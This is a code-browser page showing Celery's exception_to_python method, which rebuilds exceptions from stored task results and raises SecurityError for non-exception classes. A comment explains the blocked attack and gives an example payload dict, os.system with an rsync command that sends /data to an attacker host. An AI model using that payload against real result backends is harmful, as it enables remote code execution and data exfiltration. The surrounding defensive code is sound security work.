MCPcopy Create free account
hub / github.com/celery/celery / exception_to_python

Method exception_to_python

celery/backends/base.py:616–685  ·  view source on GitHub ↗

Convert serialized exception to Python exception.

(self, exc)

Source from the content-addressed store, hash-verified

614 'exc_module': exctype.__module__}
615
616 def exception_to_python(self, exc):
617 """Convert serialized exception to Python exception."""
618 if not exc:
619 return None
620 elif isinstance(exc, BaseException):
621 if self.serializer in EXCEPTION_ABLE_CODECS:
622 exc = get_pickled_exception(exc)
623 return exc
624 elif not isinstance(exc, dict):
625 try:
626 exc = dict(exc)
627 except TypeError as e:
628 raise TypeError(f"If the stored exception isn't an "
629 f"instance of "
630 f"BaseException, it must be a dictionary.\n"
631 f"Instead got: {exc}") from e
632
633 exc_module = exc.get('exc_module')
634 try:
635 exc_type = exc['exc_type']
636 except KeyError as e:
637 raise ValueError("Exception information must include "
638 "the exception type") from e
639 if exc_module is None:
640 cls = create_exception_cls(
641 exc_type, __name__)
642 else:
643 try:
644 # Load module and find exception class in that
645 cls = sys.modules[exc_module]
646 # The type can contain qualified name with parent classes
647 for name in exc_type.split('.'):
648 cls = getattr(cls, name)
649 except (KeyError, AttributeError):
650 cls = create_exception_cls(exc_type,
651 celery.exceptions.__name__)
652 exc_msg = exc.get('exc_message', '')
653
654 # If the recreated exception type isn't indeed an exception,
655 # this is a security issue. Without the condition below, an attacker
656 # could exploit a stored command vulnerability to execute arbitrary
657 # python code such as:
658 # os.system("rsync /data attacker@192.168.56.100:~/data")
659 # The attacker sets the task's result to a failure in the result
660 # backend with the os as the module, the system function as the
661 # exception type and the payload
662 # rsync /data attacker@192.168.56.100:~/data
663 # as the exception arguments like so:
664 # {
665 # "exc_module": "os",
666 # "exc_type": "system",
667 # "exc_message": "rsync /data attacker@192.168.56.100:~/data"
668 # }
669 if not isinstance(cls, type) or not issubclass(cls, BaseException):
670 fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'
671 raise SecurityError(
672 f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}")
673

Calls 4

get_pickled_exceptionFunction · 0.90
create_exception_clsFunction · 0.90
SecurityErrorClass · 0.90
getMethod · 0.45